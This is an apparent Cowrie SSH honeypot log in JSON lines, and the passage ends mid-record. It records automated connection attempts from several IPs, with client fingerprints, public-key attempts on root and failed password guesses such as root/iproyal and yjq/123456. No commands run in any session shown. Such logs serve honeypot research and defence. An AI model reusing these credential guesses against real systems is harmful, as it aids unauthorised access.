{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:37.031839Z","src_ip":"87.251.64.176","session":"0ff8dfc22fba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.133.64.107","src_port":60092,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08c8d0c1766","protocol":"ssh","message":"New connection: 23.133.64.107:60092 (10.17.0.5:22) [session: e08c8d0c1766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.042308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.047280Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.109691Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:fc:ab:7a:42:ed:4d:ec:f7:16:db:c7:cf:90:38:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA6+MCTqS2emHe03dhJLY1oRXfbJUkc4kYRkpmxMij6zP1PBj+CeiVM6MSlEr1c8tBbhpLe5d97Jj16nVrKY9gpo0+sOs8n8j2y14xdQeLDtFqmAMERN+63eTlrSPnSPUVuwK1z4E4sFRJY7/hiv4CRrAe5xyI+h+fpwFWKzGOj2zx4u065RC+wD/swd0N4W4eaAKnml3SBZN+4kS6ycA1BJJ8Z0LagaZvBTsbCorXCl41CqkTkhONrP0o2GUlbb/kmrnp+zBa+ssaEdgbRiO8WOzCULhCMWbmcrbRFptu75n1E4HwFCWbZMJQ0GfNtjcHlu8CtilTBdGbclmMgCaH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:fc:ab:7a:42:ed:4d:ec:f7:16:db:c7:cf:90:38:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.450313Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:fc:ab:7a:42:ed:4d:ec:f7:16:db:c7:cf:90:38:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA6+MCTqS2emHe03dhJLY1oRXfbJUkc4kYRkpmxMij6zP1PBj+CeiVM6MSlEr1c8tBbhpLe5d97Jj16nVrKY9gpo0+sOs8n8j2y14xdQeLDtFqmAMERN+63eTlrSPnSPUVuwK1z4E4sFRJY7/hiv4CRrAe5xyI+h+fpwFWKzGOj2zx4u065RC+wD/swd0N4W4eaAKnml3SBZN+4kS6ycA1BJJ8Z0LagaZvBTsbCorXCl41CqkTkhONrP0o2GUlbb/kmrnp+zBa+ssaEdgbRiO8WOzCULhCMWbmcrbRFptu75n1E4HwFCWbZMJQ0GfNtjcHlu8CtilTBdGbclmMgCaH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.455386Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:db:70:ec:4f:16:b6:bd:98:68:5e:ee:db:8f:55:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqIRwkqy3xtQoeSvOn3XlvgfZW7gnem2GxqvyJ48EOCm5r3MXkwprRLXgbV2bEcB6nQZvr0NM5XGTX9JevQRuuLe/CGggSPEU4bjrztqZzxmwFR182dvctxVEkb4pveuXWfj6zo8BLeMOmvIciRk1duy6iRpmhiDFNf/S2bib2AixazxZXWu82ZIzR5yKlCaMNz0XP3DTcsi8TrfkIsmwr0fx6ABnAJNPof9X5H85cmCUngCPH0eAxXMF4RvbDEJQQ7K3y8iBD5uMoGxfgr7J0CtUNdwvubhKshuQ6jNT1VOZBA7u9eG0bpu34iqR22VX92s54/tdfMVZM4Wy7yUhVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:db:70:ec:4f:16:b6:bd:98:68:5e:ee:db:8f:55:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.517546Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:db:70:ec:4f:16:b6:bd:98:68:5e:ee:db:8f:55:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqIRwkqy3xtQoeSvOn3XlvgfZW7gnem2GxqvyJ48EOCm5r3MXkwprRLXgbV2bEcB6nQZvr0NM5XGTX9JevQRuuLe/CGggSPEU4bjrztqZzxmwFR182dvctxVEkb4pveuXWfj6zo8BLeMOmvIciRk1duy6iRpmhiDFNf/S2bib2AixazxZXWu82ZIzR5yKlCaMNz0XP3DTcsi8TrfkIsmwr0fx6ABnAJNPof9X5H85cmCUngCPH0eAxXMF4RvbDEJQQ7K3y8iBD5uMoGxfgr7J0CtUNdwvubhKshuQ6jNT1VOZBA7u9eG0bpu34iqR22VX92s54/tdfMVZM4Wy7yUhVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.521423Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:c8:15:7c:c6:54:a0:88:65:23:36:c4:12:17:74:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSXWFB2Jk5O7JOMM9r03MX10iBPj72R4A0e7tf8MgoQnj1t1i/3o5Ce5wLnojwdlmmS4KoNXygswg1qBwf/osqMhvFWUNnYSFI6gMdFIVc0T6j8eY9LmsHCrnrZTEBWy1z9MzrmWmRKRnm6sRNFXYxeQzrDTGDOuIp+LAXZa5bGs0qbfo7fYUDxkx8Hx71o0nNHRDG/k4sDoy+d3u2mbm/1Bnbw4/d2VfZ4UzEskitWUEtYU+ozci6TuZ5j9At8ter1GRQPdnWrI0Hu+Y5b3iSQoHUpWZmHJk5XljIGy4OR6CojisZNDFhtTj0+wsP7hEZgBvZLjke723fA57Yop1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:c8:15:7c:c6:54:a0:88:65:23:36:c4:12:17:74:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.583547Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:c8:15:7c:c6:54:a0:88:65:23:36:c4:12:17:74:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFSXWFB2Jk5O7JOMM9r03MX10iBPj72R4A0e7tf8MgoQnj1t1i/3o5Ce5wLnojwdlmmS4KoNXygswg1qBwf/osqMhvFWUNnYSFI6gMdFIVc0T6j8eY9LmsHCrnrZTEBWy1z9MzrmWmRKRnm6sRNFXYxeQzrDTGDOuIp+LAXZa5bGs0qbfo7fYUDxkx8Hx71o0nNHRDG/k4sDoy+d3u2mbm/1Bnbw4/d2VfZ4UzEskitWUEtYU+ozci6TuZ5j9At8ter1GRQPdnWrI0Hu+Y5b3iSQoHUpWZmHJk5XljIGy4OR6CojisZNDFhtTj0+wsP7hEZgBvZLjke723fA57Yop1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.591256Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:d7:77:72:af:c7:0b:eb:64:f2:53:50:66:b5:6d:56","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAICFFlU6/yfCUdv8ltmbLMIWf6/MGyvTigAR1PnpL7DY0mVq+eGsQwpk/823/DV+4OQ3vQa/rwPYVIyRGU51yxsv0saFZ7khWqTzZN7SJUmfPOViA2K2rsIE8prHAHhM22toM4l5lnZlHjaRJpaS8/BZOQSiACAeLzY69bN9sgBhAAAAFQD1uX7CR1CFcTeynMWc726v1R2yMQAAAIA4RUomYfRucLvhLYadXtfHi2cCX6sYYn2eqCIEZsBKsSorcjtgrNU8n0WF+RaIeFjseSpVEkLHu1VCQAe1as9ppDth0YBmA8ciagadkTy/AwFN05LFYRFoC3OARG4lyZhTk0/w5kahJ3UON1LWx+558C42zsjSl9b+dVoKCPnNZgAAAIAd6f09zwpaFgZGwZXjqmWpZFYS0uT4ZiikVKuEfjSQf9OYEu2MI0XF9BxvQVwpZgcq5Ri96h5D0EL3cVrmusmZwh6+xIE6PdFVnm/hfEDFdM1cho6l2aDE08mO+wnDeCc/+e99n4cSfkmVXPUVBWugDcl9Ha2LEyFZHeU7I1XOaQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ae:d7:77:72:af:c7:0b:eb:64:f2:53:50:66:b5:6d:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.663673Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:d7:77:72:af:c7:0b:eb:64:f2:53:50:66:b5:6d:56","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAICFFlU6/yfCUdv8ltmbLMIWf6/MGyvTigAR1PnpL7DY0mVq+eGsQwpk/823/DV+4OQ3vQa/rwPYVIyRGU51yxsv0saFZ7khWqTzZN7SJUmfPOViA2K2rsIE8prHAHhM22toM4l5lnZlHjaRJpaS8/BZOQSiACAeLzY69bN9sgBhAAAAFQD1uX7CR1CFcTeynMWc726v1R2yMQAAAIA4RUomYfRucLvhLYadXtfHi2cCX6sYYn2eqCIEZsBKsSorcjtgrNU8n0WF+RaIeFjseSpVEkLHu1VCQAe1as9ppDth0YBmA8ciagadkTy/AwFN05LFYRFoC3OARG4lyZhTk0/w5kahJ3UON1LWx+558C42zsjSl9b+dVoKCPnNZgAAAIAd6f09zwpaFgZGwZXjqmWpZFYS0uT4ZiikVKuEfjSQf9OYEu2MI0XF9BxvQVwpZgcq5Ri96h5D0EL3cVrmusmZwh6+xIE6PdFVnm/hfEDFdM1cho6l2aDE08mO+wnDeCc/+e99n4cSfkmVXPUVBWugDcl9Ha2LEyFZHeU7I1XOaQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.667797Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:75:4c:96:91:4c:f3:58:46:46:04:5e:e3:a1:ed:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt1jzoLN6VvYIUpp8ooeuuaUaE6glkOWVF/YAc4/1S7g3NPzqDSDHBB+6PW0OYUyeqw47apZafrnty/6qJXdmgkpoIkFKIYt3xjkLW/OHMrCg5aem34lVbQ9E7ladJULf0t/9dbzRtLlBK+kU8zE+MvISXpG84SUBB05J3/hb1SSZvHNeXWLQb21E/MWxzFfQoXIZroNgwuvIACPHcU3nVHN/04yH1ojR2wkA0s8Ugfz7D0FHElzUMIJiKvfD7A3CCQoQ+g+3q3kgr8R8B6/6/FzrrrqyTxsXt0BOIUtAFfIRWXZw+I2slK5kSBuyL+2gS24cXRiYbSh0AuiLpCVrGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:75:4c:96:91:4c:f3:58:46:46:04:5e:e3:a1:ed:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.740912Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:75:4c:96:91:4c:f3:58:46:46:04:5e:e3:a1:ed:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt1jzoLN6VvYIUpp8ooeuuaUaE6glkOWVF/YAc4/1S7g3NPzqDSDHBB+6PW0OYUyeqw47apZafrnty/6qJXdmgkpoIkFKIYt3xjkLW/OHMrCg5aem34lVbQ9E7ladJULf0t/9dbzRtLlBK+kU8zE+MvISXpG84SUBB05J3/hb1SSZvHNeXWLQb21E/MWxzFfQoXIZroNgwuvIACPHcU3nVHN/04yH1ojR2wkA0s8Ugfz7D0FHElzUMIJiKvfD7A3CCQoQ+g+3q3kgr8R8B6/6/FzrrrqyTxsXt0BOIUtAFfIRWXZw+I2slK5kSBuyL+2gS24cXRiYbSh0AuiLpCVrGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.744379Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:46:38.849252Z","src_ip":"23.133.64.107","session":"e08c8d0c1766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58794,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac9687bb891","protocol":"ssh","message":"New connection: 103.15.226.202:58794 (10.17.0.5:22) [session: 9ac9687bb891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:16.567529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:16.572983Z","src_ip":"103.15.226.202","session":"9ac9687bb891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:16.818163Z","src_ip":"103.15.226.202","session":"9ac9687bb891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roxroot","password":"0Zg8Ynx5M1aanlKhixVY99jxH0D1Jl9k","message":"login attempt [roxroot/0Zg8Ynx5M1aanlKhixVY99jxH0D1Jl9k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:17.554683Z","src_ip":"103.15.226.202","session":"9ac9687bb891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:18.801461Z","src_ip":"103.15.226.202","session":"9ac9687bb891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42058,"dst_ip":"10.17.0.5","dst_port":22,"session":"90b926a1ba13","protocol":"ssh","message":"New connection: 193.32.162.145:42058 (10.17.0.5:22) [session: 90b926a1ba13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:43.744601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:43.754982Z","src_ip":"193.32.162.145","session":"90b926a1ba13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:43.855083Z","src_ip":"193.32.162.145","session":"90b926a1ba13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iproyal","message":"login attempt [root/iproyal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:44.155440Z","src_ip":"193.32.162.145","session":"90b926a1ba13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:47:45.258538Z","src_ip":"193.32.162.145","session":"90b926a1ba13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":42572,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3d1bb49a42c","protocol":"ssh","message":"New connection: 64.89.163.156:42572 (159.203.135.109:22) [session: d3d1bb49a42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:21.811914Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:21.901149Z","src_ip":"64.89.163.156","session":"d3d1bb49a42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":42574,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fb407395f8b","protocol":"ssh","message":"New connection: 64.89.163.156:42574 (159.203.135.109:22) [session: 8fb407395f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:21.984208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:21.989109Z","src_ip":"64.89.163.156","session":"8fb407395f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:22.076302Z","src_ip":"64.89.163.156","session":"8fb407395f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yjq","password":"123456","message":"login attempt [yjq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:22.339218Z","src_ip":"64.89.163.156","session":"8fb407395f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.46.222","src_port":26866,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdd940cc0429","protocol":"ssh","message":"New connection: 104.243.46.222:26866 (10.17.0.5:22) [session: cdd940cc0429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:22.833539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:22.838054Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-